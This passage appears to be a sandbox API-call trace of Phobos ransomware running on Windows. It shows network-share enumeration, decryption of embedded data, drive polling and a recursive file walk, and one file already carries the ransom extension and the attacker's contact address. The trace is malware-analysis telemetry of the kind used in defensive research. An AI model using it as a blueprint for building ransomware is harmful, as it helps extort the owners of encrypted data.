Flags=0x0, Size=0x10000) returned 0x3620048 [0147.631] WNetOpenEnumW (in: dwScope=0x4, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x389fa38 | out: lphEnum=0x389fa38*=0x871c10) returned 0x0 [0147.632] WNetEnumResourceW (in: hEnum=0x871c10, lpcCount=0x389fa40, lpBuffer=0x37040c0, lpBufferSize=0x389fa30 | out: lpcCount=0x389fa40, lpBuffer=0x37040c0, lpBufferSize=0x389fa30) returned 0x103 [0147.632] WNetCloseEnum (hEnum=0x871c10) returned 0x0 [0147.632] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x37040c0 | out: hHeap=0x23a0000) returned 1 [0147.632] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x3620048 | out: hHeap=0x23a0000) returned 1 [0147.632] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x4000) returned 0x37040c0 [0147.633] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10000) returned 0x3620048 [0147.633] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x389fa20 | out: lphEnum=0x389fa20*=0x8737a0) returned 0x0 [0161.272] WNetEnumResourceW (in: hEnum=0x8737a0, lpcCount=0x389fa28, lpBuffer=0x37040c0, lpBufferSize=0x389fa18 | out: lpcCount=0x389fa28, lpBuffer=0x37040c0, lpBufferSize=0x389fa18) returned 0x0 [0161.273] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x4000) returned 0x37080c8 [0161.273] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10000) returned 0x44b0048 [0161.274] WNetOpenEnumW (in: dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x37040c0, lphEnum=0x389f9e0 | out: lphEnum=0x389f9e0*=0x874140) returned 0x0 [0176.131] WNetEnumResourceW (in: hEnum=0x874140, lpcCount=0x389f9e8, lpBuffer=0x37080c8, lpBufferSize=0x389f9d8 | out: lpcCount=0x389f9e8, lpBuffer=0x37080c8, lpBufferSize=0x389f9d8) returned 0x0 [0176.132] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x4000) returned 0x370c0d0 [0176.132] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10000) returned 0x44c0050 [0176.132] WNetOpenEnumW (dwScope=0x5, dwType=0x1, dwUsage=0x0, lpNetResource=0x37080c8, lphEnum=0x389f9a0) Thread: id = 74 os_tid = 0xf34 [0147.064] GetLogicalDrives () returned 0x4 [0147.064] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23a12a0 [0147.064] CryptImportKey (in: hProv=0x8067b0, pbData=0x39dfa3c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x39dfaa4 | out: phKey=0x39dfaa4*=0x8368a0) returned 1 [0147.064] CryptSetKeyParam (hKey=0x8368a0, dwParam=0x1, pbData=0x39dfa8c, dwFlags=0x0) returned 1 [0147.064] CryptDecrypt (in: hKey=0x8368a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a12a0, pdwDataLen=0x39dfa58 | out: pbData=0x23a12a0, pdwDataLen=0x39dfa58) returned 1 [0147.064] CryptDestroyKey (hKey=0x8368a0) returned 1 [0147.088] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x28) returned 0x23a12e8 [0147.088] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x4b4 [0147.088] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x4b8 [0147.088] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10) returned 0x23a8240 [0147.089] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0xe) returned 0x23a81e0 [0147.089] ResetEvent (hEvent=0x4b8) returned 1 [0147.089] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xc43b2e, lpParameter=0x23a8240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4bc [0147.089] CloseHandle (hObject=0x4bc) returned 1 [0147.089] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10) returned 0x23a81c8 [0147.089] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0xe) returned 0x23a82a0 [0147.089] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xc43b2e, lpParameter=0x23a81c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4bc [0147.090] CloseHandle (hObject=0x4bc) returned 1 [0147.090] WaitForSingleObject (hHandle=0x4b8, dwMilliseconds=0xffffffff) returned 0x0 [0156.226] CloseHandle (hObject=0x4b8) returned 1 [0156.226] CloseHandle (hObject=0x4b4) returned 1 [0156.226] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12e8 | out: hHeap=0x23a0000) returned 1 [0156.226] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a12a0 | out: hHeap=0x23a0000) returned 1 Thread: id = 75 os_tid = 0xf38 [0147.090] GetLogicalDrives () returned 0x4 [0147.090] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x40) returned 0x23a7fd8 [0147.090] CryptImportKey (in: hProv=0x8067b0, pbData=0x3b1fdb8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3b1fe20 | out: phKey=0x3b1fe20*=0x8368a0) returned 1 [0147.090] CryptSetKeyParam (hKey=0x8368a0, dwParam=0x1, pbData=0x3b1fe08, dwFlags=0x0) returned 1 [0147.090] CryptDecrypt (in: hKey=0x8368a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23a7fd8, pdwDataLen=0x3b1fdd4 | out: pbData=0x23a7fd8, pdwDataLen=0x3b1fdd4) returned 1 [0147.090] CryptDestroyKey (hKey=0x8368a0) returned 1 [0147.090] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x28) returned 0x23a1520 [0147.090] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x4bc [0147.090] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x4c0 [0147.091] GetLogicalDrives () returned 0x4 [0147.091] Sleep (dwMilliseconds=0x3e8) [0148.312] GetLogicalDrives () returned 0x4 [0148.312] Sleep (dwMilliseconds=0x3e8) [0149.496] GetLogicalDrives () returned 0x4 [0149.500] Sleep (dwMilliseconds=0x3e8) [0150.635] GetLogicalDrives () returned 0x4 [0150.635] Sleep (dwMilliseconds=0x3e8) [0151.771] GetLogicalDrives () returned 0x4 [0151.771] Sleep (dwMilliseconds=0x3e8) [0152.890] GetLogicalDrives () returned 0x4 [0152.890] Sleep (dwMilliseconds=0x3e8) [0154.024] GetLogicalDrives () returned 0x4 [0154.024] Sleep (dwMilliseconds=0x3e8) [0155.340] GetLogicalDrives () returned 0x4 [0155.340] Sleep (dwMilliseconds=0x3e8) [0156.353] CloseHandle (hObject=0x4c0) returned 1 [0156.353] CloseHandle (hObject=0x4bc) returned 1 [0156.353] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a1520 | out: hHeap=0x23a0000) returned 1 [0156.353] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23a7fd8 | out: hHeap=0x23a0000) returned 1 Thread: id = 76 os_tid = 0xf3c [0147.150] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x38) returned 0x23a8020 [0147.150] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x18) returned 0x23a8060 [0147.150] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x4f0 [0147.150] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x4f4 [0147.150] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x4f8 [0147.150] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10000) returned 0x3634058 [0147.150] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0xc43957, lpParameter=0x3c1fb90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4fc [0147.151] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0xc43957, lpParameter=0x3c1fb90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x500 [0147.151] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10000) returned 0x3644060 [0147.152] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x3c1f908 | out: lpFindFileData=0x3c1f908*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3c1fb30, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x8366e0 [0147.152] GetLastError () returned 0x0 [0147.152] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x8, Size=0x214) returned 0x23a8b30 [0147.153] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75bf0000 [0147.154] GetCurrentThreadId () returned 0xf3c [0147.154] SetLastError (dwErrCode=0x0) [0147.154] GetLastError () returned 0x0 [0147.154] SetLastError (dwErrCode=0x0) [0147.154] GetLastError () returned 0x0 [0147.154] SetLastError (dwErrCode=0x0) [0147.154] GetLastError () returned 0x0 [0147.154] SetLastError (dwErrCode=0x0) [0147.154] GetLastError () returned 0x0 [0147.154] SetLastError (dwErrCode=0x0) [0147.155] GetLastError () returned 0x0 [0147.155] SetLastError (dwErrCode=0x0) [0147.155] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10000) returned 0x3654068 [0147.155] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\*", lpFindFileData=0x3c1f684 | out: lpFindFileData=0x3c1f684*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName=".", cAlternateFileName="")) returned 0x836aa0 [0147.166] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1f684 | out: lpFindFileData=0x3c1f684*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="..", cAlternateFileName="")) returned 1 [0147.167] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1f684 | out: lpFindFileData=0x3c1f684*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Logs", cAlternateFileName="")) returned 1 [0147.167] GetLastError () returned 0x0 [0147.167] SetLastError (dwErrCode=0x0) [0147.167] GetLastError () returned 0x0 [0147.167] SetLastError (dwErrCode=0x0) [0147.167] GetLastError () returned 0x0 [0147.167] SetLastError (dwErrCode=0x0) [0147.167] GetLastError () returned 0x0 [0147.168] SetLastError (dwErrCode=0x0) [0147.168] GetLastError () returned 0x0 [0147.168] SetLastError (dwErrCode=0x0) [0147.168] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10000) returned 0x3684080 [0147.168] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x3c1f400 | out: lpFindFileData=0x3c1f400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x836e20 [0147.177] FindNextFileW (in: hFindFile=0x836e20, lpFindFileData=0x3c1f400 | out: lpFindFileData=0x3c1f400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.209] FindNextFileW (in: hFindFile=0x836e20, lpFindFileData=0x3c1f400 | out: lpFindFileData=0x3c1f400*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef13df77, ftCreationTime.dwHighDateTime=0x1d50bc2, ftLastAccessTime.dwLowDateTime=0xef13df77, ftLastAccessTime.dwHighDateTime=0x1d50bc2, ftLastWriteTime.dwLowDateTime=0xef164198, ftLastWriteTime.dwHighDateTime=0x1d50bc2, nFileSizeHigh=0x0, nFileSizeLow=0xa7e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log.id[B4197730-0001].[phobosrecovery@cock.li].phobos", cAlternateFileName="DOWNLE~1.PHO")) returned 1 [0147.209] GetLastError () returned 0x0 [0147.210] SetLastError (dwErrCode=0x0) [0147.210] GetLastError () returned 0x0 [0147.210] SetLastError (dwErrCode=0x0) [0147.210] GetLastError () returned 0x0 [0147.210] SetLastError (dwErrCode=0x0) [0147.210] GetLastError () returned 0x0 [0147.210] SetLastError (dwErrCode=0x0) [0147.210] GetLastError () returned 0x0 [0147.210] SetLastError (dwErrCode=0x0) [0147.210] GetLastError () returned 0x0 [0147.210] SetLastError (dwErrCode=0x0) [0147.210] GetLastError () returned 0x0 [0147.210] SetLastError (dwErrCode=0x0) [0147.210] GetLastError () returned 0x0 [0147.210] SetLastError (dwErrCode=0x0) [0147.210] GetLastError () returned 0x0 [0147.210] SetLastError (dwErrCode=0x0) [0147.210] GetLastError () returned 0x0 [0147.211] SetLastError (dwErrCode=0x0) [0147.211] GetLastError () returned 0x0 [0147.211] SetLastError (dwErrCode=0x0) [0147.211] GetLastError () returned 0x0 [0147.211] SetLastError (dwErrCode=0x0) [0147.211] GetLastError () returned 0x0 [0147.211] SetLastError (dwErrCode=0x0) [0147.211] GetLastError () returned 0x0 [0147.211] SetLastError (dwErrCode=0x0) [0147.211] GetLastError () returned 0x0 [0147.211] SetLastError (dwErrCode=0x0) [0147.211] GetLastError () returned 0x0 [0147.211] SetLastError (dwErrCode=0x0) [0147.211] GetLastError () returned 0x0 [0147.212] SetLastError (dwErrCode=0x0) [0147.212] GetLastError () returned 0x0 [0147.212] SetLastError (dwErrCode=0x0) [0147.212] GetLastError () returned 0x0 [0147.212] SetLastError (dwErrCode=0x0) [0147.212] GetLastError () returned 0x0 [0147.212] SetLastError (dwErrCode=0x0) [0147.212] GetLastError () returned 0x0 [0147.212] SetLastError (dwErrCode=0x0) [0147.212] GetLastError () returned 0x0 [0147.212] SetLastError (dwErrCode=0x0) [0147.212] GetLastError () returned 0x0 [0147.212] SetLastError (dwErrCode=0x0) [0147.212] GetLastError () returned 0x0 [0147.212] SetLastError (dwErrCode=0x0) [0147.212] GetLastError () returned 0x0 [0147.212] SetLastError (dwErrCode=0x0) [0147.212] GetLastError () returned 0x0 [0147.213] SetLastError (dwErrCode=0x0) [0147.213] GetLastError () returned 0x0 [0147.213] SetLastError (dwErrCode=0x0) [0147.213] GetLastError () returned 0x0 [0147.213] SetLastError (dwErrCode=0x0) [0147.213] GetLastError () returned 0x0 [0147.213] SetLastError (dwErrCode=0x0) [0147.213] GetLastError () returned 0x0 [0147.214] SetLastError (dwErrCode=0x0) [0147.214] GetLastError () returned 0x0 [0147.214] SetLastError (dwErrCode=0x0) [0147.214] GetLastError () returned 0x0 [0147.214] SetLastError (dwErrCode=0x0) [0147.214] GetLastError () returned 0x0 [0147.214] SetLastError (dwErrCode=0x0) [0147.214] GetLastError () returned 0x0 [0147.214] SetLastError (dwErrCode=0x0) [0147.214] GetLastError () returned 0x0 [0147.214] SetLastError (dwErrCode=0x0) [0147.214] GetLastError () returned 0x0 [0147.215] SetLastError (dwErrCode=0x0) [0147.215] GetLastError () returned 0x0 [0147.215] SetLastError (dwErrCode=0x0) [0147.215] GetLastError () returned 0x0 [0147.215] SetLastError (dwErrCode=0x0) [0147.215] GetLastError () returned 0x0 [0147.215] SetLastError (dwErrCode=0x0) [0147.215] GetLastError () returned 0x0 [0147.215] SetLastError (dwErrCode=0x0) [0147.215] GetLastError () returned 0x0 [0147.215] SetLastError (dwErrCode=0x0) [0147.215] GetLastError () returned 0x0 [0147.215] SetLastError (dwErrCode=0x0) [0147.215] GetLastError () returned 0x0 [0147.215] SetLastError (dwErrCode=0x0) [0147.215] GetLastError () returned 0x0 [0147.216] SetLastError (dwErrCode=0x0) [0147.216] GetLastError () returned 0x0 [0147.216] SetLastError (dwErrCode=0x0) [0147.216] GetLastError () returned 0x0 [0147.216] SetLastError (dwErrCode=0x0) [0147.216] GetLastError () returned 0x0 [0147.216] SetLastError (dwErrCode=0x0) [0147.216] GetLastError () returned 0x0 [0147.216] SetLastError (dwErrCode=0x0) [0147.216] GetLastError () returned 0x0 [0147.216] SetLastError (dwErrCode=0x0) [0147.216] GetLastError () returned 0x0 [0147.216] SetLastError (dwErrCode=0x0) [0147.216] GetLastError () returned 0x0 [0147.216] SetLastError (dwErrCode=0x0) [0147.216] GetLastError () returned 0x0 [0147.216] SetLastError (dwErrCode=0x0) [0147.216] GetLastError () returned 0x0 [0147.217] SetLastError (dwErrCode=0x0) [0147.217] GetLastError () returned 0x0 [0147.217] SetLastError (dwErrCode=0x0) [0147.217] GetLastError () returned 0x0 [0147.217] SetLastError (dwErrCode=0x0) [0147.217] GetLastError () returned 0x0 [0147.217] SetLastError (dwErrCode=0x0) [0147.217] GetLastError () returned 0x0 [0147.217] SetLastError (dwErrCode=0x0) [0147.217] GetLastError () returned 0x0 [0147.217] SetLastError (dwErrCode=0x0) [0147.217] GetLastError () returned 0x0 [0147.217] SetLastError (dwErrCode=0x0) [0147.217] GetLastError () returned 0x0 [0147.217] SetLastError (dwErrCode=0x0) [0147.217] GetLastError () returned 0x0 [0147.217] SetLastError (dwErrCode=0x0) [0147.218] GetLastError () returned 0x0 [0147.218] SetLastError (dwErrCode=0x0) [0147.218] GetLastError () returned 0x0 [0147.218] SetLastError (dwErrCode=0x0) [0147.218] GetLastError () returned 0x0 [0147.218] SetLastError (dwErrCode=0x0) [0147.218] GetLastError () returned 0x0 [0147.218] SetLastError (dwErrCode=0x0) [0147.218] GetLastError () returned 0x0 [0147.218] SetLastError (dwErrCode=0x0) [0147.218] GetLastError () returned 0x0 [0147.218] SetLastError (dwErrCode=0x0) [0147.218] GetLastError () returned 0x0 [0147.218] SetLastError (dwErrCode=0x0) [0147.218] GetLastError () returned 0x0 [0147.218] SetLastError (dwErrCode=0x0) [0147.218] GetLastError () returned 0x0 [0147.219] SetLastError (dwErrCode=0x0) [0147.219] GetLastError () returned 0x0 [0147.219] SetLastError (dwErrCode=0x0) [0147.219] GetLastError () returned 0x0 [0147.220] SetLastError (dwErrCode=0x0) [0147.220] GetLastError () returned 0x0 [0147.220] SetLastError (dwErrCode=0x0) [0147.220] GetLastError () returned 0x0 [0147.220] SetLastError (dwErrCode=0x0) [0147.220] GetLastError () returned 0x0 [0147.220] SetLastError (dwErrCode=0x0) [0147.220] GetLastError () returned 0x0 [0147.220] SetLastError (dwErrCode=0x0) [0147.220] GetLastError () returned 0x0 [0147.220] SetLastError (dwErrCode=0x0) [0147.220] GetLastError () returned 0x0 [0147.221] SetLastError (dwErrCode=0x0) [0147.221] GetLastError () returned 0x0 [0147.221] SetLastError (dwErrCode=0x0) [0147.221] GetLastError () returned 0x0 [0147.221] SetLastError (dwErrCode=0x0) [0147.221] GetLastError () returned 0x0 [0147.221] SetLastError (dwErrCode=0x0) [0147.221] GetLastError () returned 0x0 [0147.221] SetLastError (dwErrCode=0x0) [0147.221] GetLastError () returned 0x0 [0147.221] SetLastError (dwErrCode=0x0) [0147.221] GetLastError () returned 0x0 [0147.221] SetLastError (dwErrCode=0x0) [0147.221] GetLastError () returned 0x0 [0147.222] SetLastError (dwErrCode=0x0) [0147.222] GetLastError () returned 0x0 [0147.222] SetLastError (dwErrCode=0x0) [0147.222] GetLastError () returned 0x0 [0147.222] SetLastError (dwErrCode=0x0) [0147.222] GetLastError () returned 0x0 [0147.222] SetLastError (dwErrCode=0x0) [0147.222] GetLastError () returned 0x0 [0147.222] SetLastError (dwErrCode=0x0) [0147.222] GetLastError () returned 0x0 [0147.222] SetLastError (dwErrCode=0x0) [0147.222] GetLastError () returned 0x0 [0147.222] SetLastError (dwErrCode=0x0) [0147.222] GetLastError () returned 0x0 [0147.222] SetLastError (dwErrCode=0x0) [0147.222] GetLastError () returned 0x0 [0147.222] SetLastError (dwErrCode=0x0) [0147.223] GetLastError () returned 0x0 [0147.223] SetLastError (dwErrCode=0x0) [0147.223] GetLastError () returned 0x0 [0147.223] SetLastError (dwErrCode=0x0) [0147.223] GetLastError () returned 0x0 [0147.223] SetLastError (dwErrCode=0x0) [0147.223] GetLastError () returned 0x0 [0147.223] SetLastError (dwErrCode=0x0) [0147.224] GetLastError () returned 0x0 [0147.224] SetLastError (dwErrCode=0x0) [0147.224] GetLastError () returned 0x0 [0147.224] SetLastError (dwErrCode=0x0) [0147.224] GetLastError () returned 0x0 [0147.224] SetLastError (dwErrCode=0x0) [0147.224] GetLastError () returned 0x0 [0147.224] SetLastError (dwErrCode=0x0) [0147.224] GetLastError () returned 0x0 [0147.224] SetLastError (dwErrCode=0x0) [0147.224] GetLastError () returned 0x0 [0147.224] SetLastError (dwErrCode=0x0) [0147.225] GetLastError () returned 0x0 [0147.225] SetLastError (dwErrCode=0x0) [0147.225] GetLastError () returned 0x0 [0147.225] SetLastError (dwErrCode=0x0) [0147.225] GetLastError () returned 0x0 [0147.225] SetLastError (dwErrCode=0x0) [0147.225] GetLastError () returned 0x0 [0147.225] SetLastError (dwErrCode=0x0) [0147.225] GetLastError () returned 0x0 [0147.225] SetLastError (dwErrCode=0x0) [0147.225] GetLastError () returned 0x0 [0147.225] SetLastError (dwErrCode=0x0) [0147.225] GetLastError () returned 0x0 [0147.225] SetLastError (dwErrCode=0x0) [0147.225] GetLastError () returned 0x0 [0147.225] SetLastError (dwErrCode=0x0) [0147.225] GetLastError () returned 0x0 [0147.226] SetLastError (dwErrCode=0x0) [0147.226] GetLastError () returned 0x0 [0147.226] SetLastError (dwErrCode=0x0) [0147.226] GetLastError () returned 0x0 [0147.226] SetLastError (dwErrCode=0x0) [0147.226] GetLastError () returned 0x0 [0147.226] SetLastError (dwErrCode=0x0) [0147.226] GetLastError () returned 0x0 [0147.226] SetLastError (dwErrCode=0x0) [0147.226] GetLastError () returned 0x0 [0147.226] SetLastError (dwErrCode=0x0) [0147.226] GetLastError () returned 0x0 [0147.226] SetLastError (dwErrCode=0x0) [0147.226] GetLastError () returned 0x0 [0147.226] SetLastError (dwErrCode=0x0) [0147.226] GetLastError () returned 0x0 [0147.226] SetLastError (dwErrCode=0x0) [0147.227] GetLastError () returned 0x0 [0147.227] SetLastError (dwErrCode=0x0) [0147.227] GetLastError () returned 0x0 [0147.227] SetLastError (dwErrCode=0x0) [0147.227] GetLastError () returned 0x0 [0147.227] SetLastError (dwErrCode=0x0) [0147.227] GetLastError () returned 0x0 [0147.227] SetLastError (dwErrCode=0x0) [0147.227] GetLastError () returned 0x0 [0147.227] SetLastError (dwErrCode=0x0) [0147.227] GetLastError () returned 0x0 [0147.228] SetLastError (dwErrCode=0x0) [0147.228] GetLastError () returned 0x0 [0147.228] SetLastError (dwErrCode=0x0) [0147.228] GetLastError () returned 0x0 [0147.228] SetLastError (dwErrCode=0x0) [0147.228] GetLastError () returned 0x0 [0147.228] SetLastError (dwErrCode=0x0) [0147.228] GetLastError () returned 0x0 [0147.228] SetLastError (dwErrCode=0x0) [0147.228] GetLastError () returned 0x0 [0147.228] SetLastError (dwErrCode=0x0) [0147.228] GetLastError () returned 0x0 [0147.228] SetLastError (dwErrCode=0x0) [0147.228] GetLastError () returned 0x0 [0147.228] SetLastError (dwErrCode=0x0) [0147.228] GetLastError () returned 0x0 [0147.228] SetLastError (dwErrCode=0x0) [0147.229] GetLastError () returned 0x0 [0147.229] SetLastError (dwErrCode=0x0) [0147.229] GetLastError () returned 0x0 [0147.229] SetLastError (dwErrCode=0x0) [0147.229] GetLastError () returned 0x0 [0147.229] SetLastError (dwErrCode=0x0) [0147.229] GetLastError () returned 0x0 [0147.229] SetLastError (dwErrCode=0x0) [0147.229] GetLastError () returned 0x0 [0147.229] SetLastError (dwErrCode=0x0) [0147.229] GetLastError () returned 0x0 [0147.229] SetLastError (dwErrCode=0x0) [0147.229] GetLastError () returned 0x0 [0147.229] SetLastError (dwErrCode=0x0) [0147.229] GetLastError () returned 0x0 [0147.230] SetLastError (dwErrCode=0x0) [0147.230] GetLastError () returned 0x0 [0147.230] SetLastError (dwErrCode=0x0) [0147.230] GetLastError () returned 0x0 [0147.230] SetLastError (dwErrCode=0x0) [0147.230] GetLastError () returned 0x0 [0147.230] SetLastError (dwErrCode=0x0) [0147.230] GetLastError () returned 0x0 [0147.230] SetLastError (dwErrCode=0x0) [0147.230] GetLastError () returned 0x0 [0147.230] SetLastError (dwErrCode=0x0) [0147.230] GetLastError () returned 0x0 [0147.230] SetLastError (dwErrCode=0x0) [0147.230] GetLastError () returned 0x0 [0147.230] SetLastError (dwErrCode=0x0) [0147.230] GetLastError () returned 0x0 [0147.231] SetLastError (dwErrCode=0x0) [0147.231] GetLastError () returned 0x0 [0147.231] SetLastError (dwErrCode=0x0) [0147.231] GetLastError () returned 0x0 [0147.231] SetLastError (dwErrCode=0x0) [0147.231] GetLastError () returned 0x0 [0147.231] SetLastError (dwErrCode=0x0) [0147.231] GetLastError () returned 0x0 [0147.231] SetLastError (dwErrCode=0x0) [0147.231] GetLastError () returned 0x0 [0147.231] SetLastError (dwErrCode=0x0) [0147.231] GetLastError () returned 0x0 [0147.231] SetLastError (dwErrCode=0x0) [0147.232] GetLastError () returned 0x0 [0147.232] SetLastError (dwErrCode=0x0) [0147.232] GetLastError () returned 0x0 [0147.232] SetLastError (dwErrCode=0x0) [0147.232] GetLastError () returned 0x0 [0147.232] SetLastError (dwErrCode=0x0) [0147.232] GetLastError () returned 0x0 [0147.232] SetLastError (dwErrCode=0x0) [0147.232] GetLastError () returned 0x0 [0147.232] SetLastError (dwErrCode=0x0) [0147.232] GetLastError () returned 0x0 [0147.232] SetLastError (dwErrCode=0x0) [0147.232] GetLastError () returned 0x0 [0147.232] SetLastError (dwErrCode=0x0) [0147.232] GetLastError () returned 0x0 [0147.232] SetLastError (dwErrCode=0x0) [0147.232] GetLastError () returned 0x0 [0147.233] SetLastError (dwErrCode=0x0) [0147.233] GetLastError () returned 0x0 [0147.233] SetLastError (dwErrCode=0x0) [0147.233] GetLastError () returned 0x0 [0147.233] SetLastError (dwErrCode=0x0) [0147.233] GetLastError () returned 0x0 [0147.233] SetLastError (dwErrCode=0x0) [0147.233] GetLastError () returned 0x0 [0147.233] SetLastError (dwErrCode=0x0) [0147.233] GetLastError () returned 0x0 [0147.233] SetLastError (dwErrCode=0x0) [0147.233] GetLastError () returned 0x0 [0147.233] SetLastError (dwErrCode=0x0) [0147.233] GetLastError () returned 0x0 [0147.233] SetLastError (dwErrCode=0x0) [0147.233] GetLastError () returned 0x0 [0147.233] SetLastError (dwErrCode=0x0) [0147.233] GetLastError () returned 0x0 [0147.233] SetLastError (dwErrCode=0x0) [0147.233] GetLastError () returned 0x0 [0147.234] SetLastError (dwErrCode=0x0) [0147.234] GetLastError () returned 0x0 [0147.234] SetLastError (dwErrCode=0x0) [0147.234] GetLastError () returned 0x0 [0147.234] SetLastError (dwErrCode=0x0) [0147.234] GetLastError () returned 0x0 [0147.234] SetLastError 